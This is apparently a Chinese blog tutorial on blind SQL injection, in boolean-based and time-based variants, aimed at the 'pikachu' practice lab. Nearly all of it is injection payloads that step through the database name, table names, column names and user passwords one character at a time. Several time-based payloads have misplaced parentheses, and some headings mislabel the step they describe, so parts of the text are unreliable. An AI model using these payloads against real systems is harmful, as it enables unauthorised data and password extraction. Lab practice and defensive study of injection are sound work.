SQL注入(五):盲注---布尔型、时间型

目录

    • 盲注
      • 布尔型盲注
      • 时间型盲注

盲注

存在sql注入
不会显示报错信息

布尔型盲注

1、payload:
爆数据库:
kobe' and ascii(substr(database(),1,1)) > 120 #'
若为真则会显示正确信息,否则会报错;通过一个一个的查询字母信息;
爆数据表:
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema="pikachu" limit 1,1),1,1))<112#'
爆数据表:
kobe' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 1,1),1,1))<112#'
爆数据信息:
kobe' and ascii(substr((select password from users limit 1,1),1,1))<112 #'

时间型盲注

1、payload:
爆数据表:
kobe' and if(substr(database(),1,1)='p',sleep(6),null) #'
爆数据表:
kobe' and if((substr(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1,1))='a',sleep(6),null) #'
爆数据列:
kobe' and if((substr(select column_name from information_schema.columns  where table_name='users' limit 1,1),1,1))='a',sleep(5),null) #'
爆数据信息:
kobe' and if((substr((select password from users limit 0,1),1,1))='a',sleep(5),null)#'

你可能感兴趣的:(SQL注入(五):盲注---布尔型、时间型)